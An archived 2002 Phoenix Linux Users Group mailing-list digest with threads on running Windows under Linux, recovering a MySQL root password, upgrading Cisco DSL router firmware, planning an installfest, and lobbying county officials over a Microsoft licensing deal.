have experienced VMware, win4lin, and the like, can you offer me your best suggestions as far as which you prefer and which flavor of Linux you believe is most solid with your choice? Also, any gotchas that you can think of would be most helpful. > > Also, has anyone run into problems with accessing Windows only devices using either of these options? > > Mike > > -----Original Message----- > From: Derek Neighbors [mailto:derek@gnue.org] > Sent: Sunday, May 26, 2002 9:36 PM > To: plug-discuss@lists.plug.phoenix.az.us > Cc: punkmmiv@cox.net > Subject: Re: Windows and Linux > > On 26 May 2002 22:44:49 -0700 > Matt wrote: > > > I know that Windows and Linux are supposed to operate pretty well > > together, but the only articles I've read are about installing Linux > > once Windows is already there. I'm running a pure SuSE 8.0 box and I > > was wondering if it's possible to install Windows on it while still > > being able to use my current install? > > Try win4lin. It lets you run windows as a window inside your GNU/Linux > environment. Unlike VMWare and friends it is not a VM. Also, unlike > WINE it actually works and works well. It will even let windows use > (read/write) to your GNU/Linux file systems and such. It is not free, > but neither is M$ Windows (so I assume you dont have a problem with > that) and it is by far the best way to 'suffer' M$ while not having to > 'leave' a real operating system. > > -Derek > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 02:24:21 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Mon, 10 Jun 2002 22:24:21 -0400 Subject: mysqld References: <1023371676.4787.3.camel@barney.azapple.com> Message-ID: <3D055F55.8B987EFD@georgetoft.com> Craig White wrote: > > dummy me - I started the mysqld without a password and now I can't log > in to make changes and set up users. How can I log in without a > password? It won't let me log in without a password but there never was > any - it's a new installation. > > Craig > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss My notes on how to break into, er, I mean, change the root password for mysql: # killall mysqld # safe_mysqld -Sg & # mysql mysql mysql> select * from user; mysql> update user set Password=password("newpasswd") where User="root"; (or whatever your root user is called) George From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 03:01:41 2002 From: plug-discuss@lists.plug.phoenix.az.us (Greg Furmanek) Date: Mon, 10 Jun 2002 20:01:41 -0700 Subject: Linux for Christians References: <1023644806.3d039486f097c@webmail.freedom2surf.net> <3D04124D.8000100@earthlink.net> <200206092132.00620.lists@ybnormal.org> Message-ID: <3D056815.5080304@earthlink.net> Hahaha... You right I should probably get some of heathens like myslef and creat our own distro. I wonder what should I name it? and how many people will I piss of with this one. Greg Tom Achtenberg wrote: >If you want a distr aimed at whatever it is you believe or don't believe, >program it, or get some like minded people to do it. > >The wars are more due to ignorence, not religion. > >On Sunday 09 June 2002 07:43 pm, Greg Furmanek wrote: > > >>How about a linux distro specifically for non-christians? Buddists? >> Muslims? Hindu? >> >>btw: why everything on this planet has to be about religion? Isn't >>this why we have so >>many wars? >> >>Greg >> >>dennisk@sahuaro.f2s.com wrote: >> >> >>>Looking for something else on Google I stumbled on to The Linux for >>>Christians site! http://thelinuxlink.net/l4c/ Here's what it says: >>> >>>This is a very new site dedicated to the Christian use of one of my >>>favorite OS's, Linux! What you will see here (provided you keep coming >>>back) is a repository of information pertaining to, how to, and why to, >>>use Linux as a Christian and in a Christian organization. >>> >>>And then there is: >>> >>>http://www.christianlinux.com/ >>> >>>I wonder if the LWN Penguin Gallery has their version of Tux wearing a >>>crusifix! >>> >>>Dennis >>> >>>------------------------------------------------- >>>Everyone should have http://www.freedom2surf.net/ >>>________________________________________________ >>>See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't >>>post to the list quickly and you use Netscape to write mail. >>> >>>PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >>>http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss >>> >>> >>________________________________________________ >>See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't >>post to the list quickly and you use Netscape to write mail. >> >>PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >>http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss >> >> > > > From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 03:05:37 2002 From: plug-discuss@lists.plug.phoenix.az.us (Greg Furmanek) Date: Mon, 10 Jun 2002 20:05:37 -0700 Subject: Linux for Christians References: <1023644806.3d039486f097c@webmail.freedom2surf.net> <3D04124D.8000100@earthlink.net> <15620.43611.959869.710388@magnitude.righthandgraphics.com> Message-ID: <3D056901.3060507@earthlink.net> HAHAHA... good humor. I loved this one. btw. I should start my own cult of "VIM" editor. any followers? Greg David A. Sinck wrote: >\_ SMTP quoth Greg Furmanek on 6/9/2002 19:43 as having spake thusly: >\_ >\_ How about a linux distro specifically for non-christians? Buddists? >\_ Muslims? Hindu? >\_ >\_ btw: why everything on this planet has to be about religion? Isn't >\_ this why we have so >\_ many wars? > >No, we have so many wars because of people using the wrong editor. > > >Die infidel (emacs|vi) user, die! > >:-) > >http://www.netfunny.com/rhf/jokes/97/Jul/tolerance.html > > >David >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 03:22:17 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Mon, 10 Jun 2002 20:22:17 -0700 (MST) Subject: Installfest Question (Yet another) In-Reply-To: <200206102300.TAA29368@hostinworld6.com> Message-ID: Am 10. Jun, 2002 schwätzte Bryce C. so: > Regarding Macs, If I bring one of mine and a MkLinux CD, will someone > help me install. I don't want to mis-partition it and be stuck w/o a > working computer (1 is too many) because I don't have a MacOS CD for it > if I have to re-install it. If you don't have a way to reinstall the old system install on a different disk and disconnect the original. Alternatively copy the original and make sure the new disk works. ciao, der.hans -- # https://www.LuftHans.com/ # The most likely way for the world to be destroyed, most experts agree, # is by accident. That's where we come in; we're computer professionals. # We cause accidents. -- Nathaniel Borenstein From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 03:29:54 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Mon, 10 Jun 2002 20:29:54 -0700 (MST) Subject: Installfest Suggestion In-Reply-To: <200206110052.UAA01113@hostinworld6.com> Message-ID: Am 10. Jun, 2002 schwätzte Bryce C. so: > This is seperate from my other question regarding the installfest. > Has anyone considered bringing some SuSE Live Eval CDs for those who > just want to try linux? I'd be willing to burn half a dozen copies or > so if no one else is already planning on bringing it. I found it the > least "stressful" of all dual boots and it takes up a minimal amount of > HD space but the drawback is that it runs from the CD. Still this would > allow people to dip their toe in a "user-friendly" Linux pond. I believe Live Eval CDs are amongst the swag we got ( are getting? ) from SuSE. Yes, I hope we have plenty to give out. A few bootable business cards would be good too. I'll check on those. ciao, der.hans -- # https://www.LuftHans.com/ # The only way for a woman to change a man # is if he's wearing Depends[TM] - der.hans From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 03:31:05 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Mon, 10 Jun 2002 20:31:05 -0700 (MST) Subject: iptables missing after reboot (what I found) In-Reply-To: <3D054403.D590116A@earthlink.net> Message-ID: Am 10. Jun, 2002 schwätzte mazdaracer so: > seem to hurt anything. Now I just have to continue to learn iptables to > bring up the security to a respectable level. See if Mandrake has FireStarter. For a simple firewall ( e.g. one connection to the Net and one connection to the LAN ) it's pretty good. The script it writes is also fairly easy to read. ciao, der.hans -- # https://www.LuftHans.com/ # The only way for a woman to change a man # is if he's wearing Depends[TM] - der.hans From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 03:21:15 2002 From: plug-discuss@lists.plug.phoenix.az.us (Cap Bateman) Date: 10 Jun 2002 20:21:15 -0700 Subject: Linux for Christians In-Reply-To: <3D056815.5080304@earthlink.net> References: <1023644806.3d039486f097c@webmail.freedom2surf.net> <3D04124D.8000100@earthlink.net> <200206092132.00620.lists@ybnormal.org> <3D056815.5080304@earthlink.net> Message-ID: <1023765677.19026.8.camel@desktop.capnet.lan> --=-rerC75alkXehU1c5RK7g Content-Type: text/plain Content-Transfer-Encoding: quoted-printable On Mon, 2002-06-10 at 20:01, Greg Furmanek wrote: > Hahaha... >=20 > You right I should probably get some of heathens like myslef and creat=20 > our own distro. >=20 > I wonder what should I name it? and how many people will I piss of with=20 > this one. >=20 PaganLinux. Can't get much more heathen than that. --=20 D.L. 'Cap' Bateman Registered Linux User #268440, Machine #151687 No trees were harmed in sending this Earth-safe message. However, a few electrons may have been inconvenienced. --=-rerC75alkXehU1c5RK7g Content-Type: application/pgp-signature; name=signature.asc Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQA9BWyr6He1yLs+JHwRAjQyAKDSiv3vHnIhGBFIYhEMeEydmp7BQgCeMWaj Dn5j3E1Gid26R3zoNmOm9Vw= =OXfC -----END PGP SIGNATURE----- --=-rerC75alkXehU1c5RK7g-- From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 03:21:24 2002 From: plug-discuss@lists.plug.phoenix.az.us (Mike Butash) Date: Mon, 10 Jun 2002 20:21:24 -0700 Subject: Cisco DoS required CBOS upgrade- Qwest complaint In-Reply-To: <3D051313.1030805@milagrosoft.com> Message-ID: <002101c210f7$11865ce0$0a64a8c0@internal.nutsac.org> It's qworst, you expect anything more? http://www.cisco.com/warp/public/794/675_faq.shtml Zmodem transfers are rather painful, I'd say look into the password recovery steps (if you don't know your pw) listed on that page and tftp it. Set the eth0 ip as it says, enable tftp on the router, and "man tftp". http://nutsac.org/stuff/c675.2.4.5.bin -mbutash -----Original Message----- From: plug-discuss-admin@lists.plug.phoenix.az.us [mailto:plug-discuss-admin@lists.plug.phoenix.az.us]On Behalf Of Eric Richardson Sent: Monday, June 10, 2002 1:59 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: Cisco DoS required CBOS upgrade- Qwest complaint Patrick Fleming EA wrote: > I have been in contact with Cisco support as well as customer support > within Qwest regarding a serious Denial of Service update to the software > that runs my Cisco 678 router. On 5-23-2002 Cisco released the following > advisory: http://www.cisco.com/warp/public/707/CBOS-DoS.shtml As > indicated, I called Qwest- the provider of my modem. The first person I > talked to transfered me to another department. Without talking to anyone > at all, just following the prompts provided by the voice mail system, I > was able to get right back where I originally started, with DSL Tech > support. This time I was told that they had just received a memo regarding > the updated software but that he didn't know anything more regarding the > memo. This was either 5-28 or 5-29. I emailed Cisco, based upon their > press release to attempt to get the update from them as I was unsuccessful > with getting anything from Qwest. Their response is the following website: > http://www.qwest.com/dsl/customerservice/modemsupport.html which as of > 9:00am 5-31-2002 indicated that they are working on getting the software > ready for use by their customers. This software has been available since > 5-23 from Cisco, but since Qwest DSL users purchase their modems from > Qwest, Cisco indicates that it is Qwest's responsibility to provide the > upgrades. I would have no problem with that if Qwest fulfilled this > responsibility with their customers, of which I am only one. I have > recontacted Cisco in regards to the unavailability of the upgrade on > Qwest's site and I seem to be in a support loop waiting for a human to > read my email. > > I believe that this deserves the attention of the Corporation Commission > as it represents a shortfall in the quality of service provided by a > public utility. > > > from 5-13-02 Eric Richardson wrote: Hi, Is there a way to get the CBOS 2.4.3 for a 675 and install it with Linux via the terminal port and a com program. I have tried connecting via modem serial port but I'm not really sure how to do the upgrade. I'm in routing mode so I don't think I can use the tftp procedure as the router doesn't have a IP address. Any help appreciated, Thanks for the help / encouragement. I wanted to send an update on my findings. I didn't know that the .exe format is a zip format - that is interesting. I found a place on line for the firmware. http://postyware.dyndns.org/cisco-firmware Note that the images are different based on the original CBOS version. In my case this was 2.2.0. I tried to use the tftp program to download the code but had no luck. I'm using Debian 2.2 so I was able to apt-get tftp. I installed minicom to communicate to the router but what I did wrong was I did not install lrzsz which contains the kermit, xyz/modem stuff. I thought perhaps the option were wrong so I went to look at the man pages for sx (send xmodem) and it was there so then I knew I was a dummy. I found that the lrzsz was recommended but not a dependency for minicom. Finally, after I had the right software but still no luck, I decided to try zmodem which didn't work and then ymodem which worked. I have no idea why xmodem didn't work but ymodem did. I upgraded to 2.4.4 and all seems well. I use FastQ and they are finding that the PPP mode rather than the routing mode is more stable so eventually they will be moving customers that direction. Is anybody using the filtering, NAT, DHCP with cisco and what features for the Linux firewall. Maybe this is better for another thread. Eric ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@pluglist.mybutt.net http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 03:38:58 2002 From: plug-discuss@lists.plug.phoenix.az.us (Alan Dayley) Date: Mon, 10 Jun 2002 20:38:58 -0700 Subject: Installfest Suggestion In-Reply-To: References: Message-ID: <200206102038.58858.alandd@mindspring.com> I got the shipment of goodies from SuSE today. It includes 10-12 7.2 live eval discs. Alan On Monday 10 June 2002 08:29 pm, der.hans wrote: > Am 10. Jun, 2002 schwätzte Bryce C. so: > > This is seperate from my other question regarding the installfest. > > Has anyone considered bringing some SuSE Live Eval CDs for those who > > just want to try linux? I'd be willing to burn half a dozen copies or > > so if no one else is already planning on bringing it. I found it the > > least "stressful" of all dual boots and it takes up a minimal amount of > > HD space but the drawback is that it runs from the CD. Still this would > > allow people to dip their toe in a "user-friendly" Linux pond. > > I believe Live Eval CDs are amongst the swag we got ( are getting? ) from > SuSE. Yes, I hope we have plenty to give out. > > A few bootable business cards would be good too. I'll check on those. > > ciao, > > der.hans From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 04:03:00 2002 From: plug-discuss@lists.plug.phoenix.az.us (John (EBo) David) Date: Mon, 10 Jun 2002 21:03:00 -0700 Subject: Linux on Comedy Central? References: <20020610231726.83489.qmail@web13406.mail.yahoo.com> Message-ID: <3D057674.5287D130@leml.asu.edu> bob smith wrote: > > Hey all, > Just thought I'd share something interesting with you. > I don't know if any of you watch Comedy Central to > regularly but there is a show on there called "Crank > Yankers". It's a bunch of puppets and prank calls. > Well one of the calls was from "Special Ed" to a tech > support line. To my surprise there was a giant Linux > poster (Linux Inside) on the back of the wall :). > > Wonder where it will make its appearance next? Maybe > some trippy anime show on the Cartoon Network starring Tux. What was the old cartoon penguin named? His new nephew *IS* out beloved Tux ;-) EBo -- From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 03:58:09 2002 From: plug-discuss@lists.plug.phoenix.az.us (Thomas Mondoshawan Tate) Date: Mon, 10 Jun 2002 20:58:09 -0700 Subject: Linux for Christians In-Reply-To: <3D056815.5080304@earthlink.net> References: <1023644806.3d039486f097c@webmail.freedom2surf.net> <3D04124D.8000100@earthlink.net> <200206092132.00620.lists@ybnormal.org> <3D056815.5080304@earthlink.net> Message-ID: <20020611035809.GA3744@tank.ph.cox.net> You realize that there is already an undead Linux distro, right? Freshmeat.net has a link to it, IINM. -- Thomas "Mondoshawan" Tate mondoshawan@tank.dyndns.org http://tank.dyndns.org:8080 On Mon, Jun 10, 2002 at 08:01:41PM -0700, Greg Furmanek wrote: > Hahaha... > > You right I should probably get some of heathens like myslef and creat > our own distro. > > I wonder what should I name it? and how many people will I piss of with > this one. > > Greg > > Tom Achtenberg wrote: > > >If you want a distr aimed at whatever it is you believe or don't believe, > >program it, or get some like minded people to do it. > > > >The wars are more due to ignorence, not religion. > > > >On Sunday 09 June 2002 07:43 pm, Greg Furmanek wrote: > > > > > >>How about a linux distro specifically for non-christians? Buddists? > >>Muslims? Hindu? > >> > >>btw: why everything on this planet has to be about religion? Isn't > >>this why we have so > >>many wars? > >> > >>Greg > >> > >>dennisk@sahuaro.f2s.com wrote: > >> > >> > >>>Looking for something else on Google I stumbled on to The Linux for > >>>Christians site! http://thelinuxlink.net/l4c/ Here's what it says: > >>> > >>>This is a very new site dedicated to the Christian use of one of my > >>>favorite OS's, Linux! What you will see here (provided you keep coming > >>>back) is a repository of information pertaining to, how to, and why to, > >>>use Linux as a Christian and in a Christian organization. > >>> > >>>And then there is: > >>> > >>>http://www.christianlinux.com/ > >>> > >>>I wonder if the LWN Penguin Gallery has their version of Tux wearing a > >>>crusifix! > >>> > >>>Dennis > >>> > >>>------------------------------------------------- > >>>Everyone should have http://www.freedom2surf.net/ > >>>________________________________________________ > >>>See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > >>>post to the list quickly and you use Netscape to write mail. > >>> > >>>PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > >>>http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > >>> > >>> > >>________________________________________________ > >>See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > >>post to the list quickly and you use Netscape to write mail. > >> > >>PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > >>http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > >> > >> > > > > > > > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 04:15:03 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bryce C.) Date: 10 Jun 2002 21:15:03 -0700 Subject: Installfest Question (Yet another) In-Reply-To: Message-ID: <200206110415.AAA03429@hostinworld6.com> That was sort of my problem. I don't have the money to buy a scsi drive for a 7 year old mac. On 10 Jun 2002 20:22:17 -0700, der.hans wrote: > Am 10. Jun, 2002 schwätzte Bryce C. so: > > > Regarding Macs, If I bring one of mine and a MkLinux CD, will someone > > help me install. I don't want to mis-partition it and be stuck w/o a > > working computer (1 is too many) because I don't have a MacOS CD for it > > if I have to re-install it. > > If you don't have a way to reinstall the old system install on a different > disk and disconnect the original. > > Alternatively copy the original and make sure the new disk works. > > ciao, > > der.hans > -- > # https://www.LuftHans.com/ > # The most likely way for the world to be destroyed, most experts agree, > # is by accident. That's where we come in; we're computer professionals. > # We cause accidents. -- Nathaniel Borenstein > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > -- Bryce C. Network Administrator CoBryce Communications Bryce @ BryceCo . Net From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 04:26:56 2002 From: plug-discuss@lists.plug.phoenix.az.us (Nathan England) Date: Mon, 10 Jun 2002 21:26:56 -0700 Subject: Voice Your Opinion RE: Microsoft Enterprise Agreement In-Reply-To: <4A8DFDA6B395D411A11B00508BEE23FE76B458@mail.int.fh.org> References: <4A8DFDA6B395D411A11B00508BEE23FE76B458@mail.int.fh.org> Message-ID: <200206102127.00567.plug@the-arcanum.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 I sent my two cents to a few leg. and I got a couple replys back. Here they are, maybe if we get a ton of people to write in to these two... ~~~~~~~ Sandi Wilson - OMBX Nathan: My name is Sandi Wilson. I am the Deputy County Administrator for Maricopa County. The budget for Maricopa County will be presented to the Board of Supervisors on June 17th with the tentative budget approved on that day. Final budget adoption will occur on July 22. That is the date set for the public hearing, as well. The budget has money reserved for an enterprise agreement, but it will not be appropriated (or approved) with the adoption of the budget. So . . . the Board will consider this item at a later date, if the Chief Information Officer decides to proceed with this item. Regarding the agreement itself, I will direct that question to the CIO's Office. Thank you for your interest in the budget. Sandi Wilson Deputy County Administrator Office of Management and Budget ~~~~~~~~~~ Paul Allsing - EGOVX Mr. England, My name is Paul Allsing. I am the Deputy CIO for Maricopa County. I have received and reviewed your comments on the Microsoft Enterprise Agreement. Thank you for your input into this issue. We have and will continue to consider all options to best meet the County's computing needs. I will retain your note for reference purposes, and bear in mind the issues you have raised relative to the possible applicability of Open Source software at Maricopa County. Thank you for your interest in the County's technology plans. Paul Allsing Deputy CIO Maricopa County 301 W Jefferson, Suite 420 Phoenix, AZ 85003 Maybe they are templates they have sent to everyone who writes them about the topic, but they sound interested in me enough to respect their reply. Am Montag 10 Juni 2002 07:44 vormittags schrieb Tom Achtenberg: > Don't forget to contact you local school boards too!! > > > -----Original Message----- > From: Derek Neighbors [mailto:derek@gnue.org] > Sent: Friday, June 07, 2002 4:20 PM > To: 'plug-discuss@lists.plug.phoenix.az.us' > Subject: Voice Your Opinion RE: Microsoft Enterprise Agreement > > > If you want your government to stop using Microsoft Products now is the > time to have your voice heard. It starts with local government. If you > didnt know the State of Arizona budget is in the dumps, because all > governments under them (read county and city) get large sums of money > from the State they are hurting for money. > > It just so happens that this July is when most of the local governments > start a new fiscal year, which means this June (now) they are ADOPTING > budgets (planned spending) for the upcoming fiscal year. Many of them are > faced with the choice on whether to renew Microsoft's 'Enterprise > Agreement' stiff arm. > > I urge you to PLEASE PLEASE PLEASE contact your district council person > (maricopa county) and your city council people and simply ask them. > > a. Do they plan to approve funding for the Enterprise Agreement? > b. If they do plan to do so, please provide you with a copy of the > agreement and the dollar amount to be expended. > c. When they will be hearing from the public on the budget, so if they are > adopting you can have your voice heard publicly. > > > It may sound funny but I can speak from REAL experience if a council > person gets as few as 10 requests that are similar a red flag will be > raised and they will grill their technology departments on it. > > I have contacted the Town of Gilbert and Maricopa County already to > recieve such information, I suggest others follow and use your power as a > citizen to make a difference. We have no one to blame but ourselves if we > dont start to take a stand. > > > I dont have town information but county information is as follows: > > Map To Find Your Council Person > http://www.maricopa.gov/county_glance/maps.asp?link=districtMap > > Council Contact Email > Dist 1 Fulton Brock FBrock@mail.maricopa.gov > Dist 2 Don Stapley DStapley@mail.maricopa.gov > Dist 3 Andrew Kunasek AKunasek@mail.maricopa.gov > Dist 4 Max Wilson mwwilson@mail.maricopa.gov > Dist 5 Mary Rose Wilcox MrWilcox@mail.maricopa.gov > > Also I would cc: the County Administrator and Deputy County Administrator > > CAO: David Smith DSmith@mail.maricopa.gov > DCA: Sandi Wilson Swilson@mail.maricopa.gov > > > > -Derek > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (GNU/Linux) iD8DBQE9BXwUQ7yNnsYcupwRAsvuAKCUG6yAqIVE3ZyO4zBnTUnIIbmTXwCcCD90 Bu/ig4HWNuout9bAIH3Wy0M= =GGxh -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 04:29:04 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bryce C.) Date: 10 Jun 2002 21:29:04 -0700 Subject: Installfest Suggestion In-Reply-To: <200206102038.58858.alandd@mindspring.com> References: <200206102038.58858.alandd@mindspring.com> Message-ID: <200206110429.AAA07749@hostinworld6.com> I'm burning the 8.0 discs from their ftp. On 10 Jun 2002 20:38:58 -0700, Alan Dayley wrote: > I got the shipment of goodies from SuSE today. It includes 10-12 7.2 live > eval discs. > > Alan > > On Monday 10 June 2002 08:29 pm, der.hans wrote: > > Am 10. Jun, 2002 schwätzte Bryce C. so: > > > This is seperate from my other question regarding the installfest. > > > Has anyone considered bringing some SuSE Live Eval CDs for those who > > > just want to try linux? I'd be willing to burn half a dozen copies or > > > so if no one else is already planning on bringing it. I found it the > > > least "stressful" of all dual boots and it takes up a minimal amount of > > > HD space but the drawback is that it runs from the CD. Still this would > > > allow people to dip their toe in a "user-friendly" Linux pond. > > > > I believe Live Eval CDs are amongst the swag we got ( are getting? ) from > > SuSE. Yes, I hope we have plenty to give out. > > > > A few bootable business cards would be good too. I'll check on those. > > > > ciao, > > > > der.hans > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > -- Bryce C. Network Administrator CoBryce Communications Bryce @ BryceCo . Net From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 04:50:38 2002 From: plug-discuss@lists.plug.phoenix.az.us (Derek Neighbors) Date: Mon, 10 Jun 2002 21:50:38 -0700 Subject: Linux on Comedy Central? In-Reply-To: <3D057674.5287D130@leml.asu.edu> References: <20020610231726.83489.qmail@web13406.mail.yahoo.com> <3D057674.5287D130@leml.asu.edu> Message-ID: <20020610215038.23516f7e.derek@gnue.org> chillywilly? http://members.gtw.net/~taylor/mike/chilly/chilly0.htm > What was the old cartoon penguin named? His new nephew *IS* out > beloved Tux ;-) From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 04:59:56 2002 From: plug-discuss@lists.plug.phoenix.az.us (Nathan England) Date: Mon, 10 Jun 2002 21:59:56 -0700 Subject: Windows and Linux In-Reply-To: <3D055C10.29367AC0@georgetoft.com> References: <52339DF144F8AB458552076D1ED5CA152F1C80@mail.interactcommerce.com> <3D055C10.29367AC0@georgetoft.com> Message-ID: <200206102200.00787.plug@the-arcanum.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 George, How much did you pay for vmware? Am Montag 10 Juni 2002 07:10 nachmittags schrieb George Toft: > My experience with vmware is very positive. Issues with vmware: > - I cannot listen to Internet Radio at kccnfm100.com. Even with four > new software > downloads, three reboots (virtual), and 2 crashes, all I got was static. > - vmware does not do streaming media via USB. Want to use a USB > camera? Forget it. > - vmware with sound is usually preceeded with a loud pop. > - vmware does not support directx very well (if at all). > > Other than that, it lets me do my taxes, browse using IE 5.5, and gives > me blue screens, > just like the real thing. > > George > > Mike Porter wrote: > > Ok, this is intriguing to me. I am looking to migrate my house over to > > Linux, but I have some apps for which I cannot find comparable *nix > > substitutes. (Believe it or not, the request to move torward Linux is at > > my wife's request) > > > > So, those who have experienced VMware, win4lin, and the like, can you > > offer me your best suggestions as far as which you prefer and which > > flavor of Linux you believe is most solid with your choice? Also, any > > gotchas that you can think of would be most helpful. > > > > Also, has anyone run into problems with accessing Windows only devices > > using either of these options? > > > > Mike > > > > -----Original Message----- > > From: Derek Neighbors [mailto:derek@gnue.org] > > Sent: Sunday, May 26, 2002 9:36 PM > > To: plug-discuss@lists.plug.phoenix.az.us > > Cc: punkmmiv@cox.net > > Subject: Re: Windows and Linux > > > > On 26 May 2002 22:44:49 -0700 > > > > Matt wrote: > > > I know that Windows and Linux are supposed to operate pretty well > > > together, but the only articles I've read are about installing Linux > > > once Windows is already there. I'm running a pure SuSE 8.0 box and I > > > was wondering if it's possible to install Windows on it while still > > > being able to use my current install? > > > > Try win4lin. It lets you run windows as a window inside your GNU/Linux > > environment. Unlike VMWare and friends it is not a VM. Also, unlike > > WINE it actually works and works well. It will even let windows use > > (read/write) to your GNU/Linux file systems and such. It is not free, > > but neither is M$ Windows (so I assume you dont have a problem with > > that) and it is by far the best way to 'suffer' M$ while not having to > > 'leave' a real operating system. > > > > -Derek > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (GNU/Linux) iD8DBQE9BYPQQ7yNnsYcupwRAnQTAJ91XjbtdTMDhIRATUilt6n3zeX+qgCfU0fr UHgqeghEeXKGOxPtBOCylhE= =GPfW -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 05:15:58 2002 From: plug-discuss@lists.plug.phoenix.az.us (Victor Odhner) Date: Mon, 10 Jun 2002 22:15:58 -0700 Subject: OT: 